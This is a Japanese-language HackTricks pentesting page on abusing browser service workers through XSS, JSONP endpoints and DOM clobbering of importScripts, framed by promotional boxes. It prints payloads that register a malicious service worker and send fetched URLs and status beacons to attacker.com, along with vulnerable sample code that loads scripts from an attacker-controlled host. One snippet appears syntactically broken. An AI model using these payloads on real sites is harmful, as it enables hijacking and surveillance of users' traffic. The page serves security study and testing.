hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

131 lines
10 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# Service Workersの悪用
2022-12-20 11:25:07 +00:00
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>から<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
2022-12-20 11:25:07 +00:00
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
- [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、または**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
2022-12-20 11:25:07 +00:00
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) 今日。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
2023-07-07 23:42:27 +00:00
## 基本情報
2022-12-20 11:25:07 +00:00
**サービスワーカー**は、ブラウザでバックグラウンドで実行されるスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御できます。
2022-12-20 11:25:07 +00:00
### 既存のサービスワーカーの確認
2022-12-20 11:25:07 +00:00
既存のサービスワーカーは、**開発者ツール**の**アプリケーション**タブの**サービスワーカー**セクションで確認できます。別の方法として、より詳細なビューを得るために[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を訪れることができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
### プッシュ通知
2022-12-20 11:25:07 +00:00
**プッシュ通知の許可**は、**サービスワーカー**が直接サーバーと通信する能力に直接影響を与えます。許可が拒否されると、サービスワーカーの潜在的な脅威を抑制します。逆に、許可を与えると、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
2022-12-20 11:25:07 +00:00
## サービスワーカーの作成に対する攻撃
2022-12-20 11:25:07 +00:00
この脆弱性を悪用するには、次のものを見つける必要があります:
2022-12-20 11:25:07 +00:00
- サーバーに**任意のJSファイルをアップロード**する方法と、アップロードされたJSファイルのサービスワーカーをロードする**XSS**
- **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**することができる**XSS**、そして**悪意のあるサービスワーカーをロードするペイロード**でJSONPをロードする**XSS**。
2022-12-20 11:25:07 +00:00
以下の例では、`fetch`イベントをリッスンし、**取得されたURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するためのコードまたは**脆弱なJSONP**応答を介してロードするためのコードです):
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
2023-07-07 23:42:27 +00:00
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
そして、これが**ワーカーを登録**するコードです(**XSS**を悪用して実行できるはずのコード)。この場合、**攻撃者**のサーバーに**GET**リクエストが送信され、サービスワーカーの**登録**が成功したかどうかが**通知**されます:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
2023-07-07 23:42:27 +00:00
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
脆弱なJSONPエンドポイントを悪用する場合は、値を`var sw`の内部に配置する必要があります。例:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
**Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
2022-12-20 11:25:07 +00:00
**24時間キャッシュディレクティブ** は、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大で24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
2022-12-20 11:25:07 +00:00
## DOM Clobbering を介した SW での `importScripts` の悪用
2022-12-20 11:25:07 +00:00
Service Worker から呼び出される **`importScripts`** 関数は、**異なるドメインからスクリプトをインポート** することができます。この関数が **攻撃者が変更できるパラメータ** を使用して呼び出された場合、彼は **自身のドメインから JS スクリプトをインポート** して XSS を取得できます。
2022-12-20 11:25:07 +00:00
**これは CSP の保護をバイパスします。**
2022-12-20 11:25:07 +00:00
**脆弱なコードの例:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
2023-07-07 23:42:27 +00:00
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-07-07 23:42:27 +00:00
### DOM Clobberingを使用する
2022-12-20 11:25:07 +00:00
DOM Clobberingについての詳細は、以下を確認してください:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある**場合、DOM Clobberingを使用してそれを変更し、SWが**自分のドメインからスクリプトを読み込むように**することが可能です。
2022-12-20 11:25:07 +00:00
これの例については、参照リンクを確認してください。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-12-20 11:25:07 +00:00
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
2022-12-20 11:25:07 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
2022-12-20 11:25:07 +00:00
</details>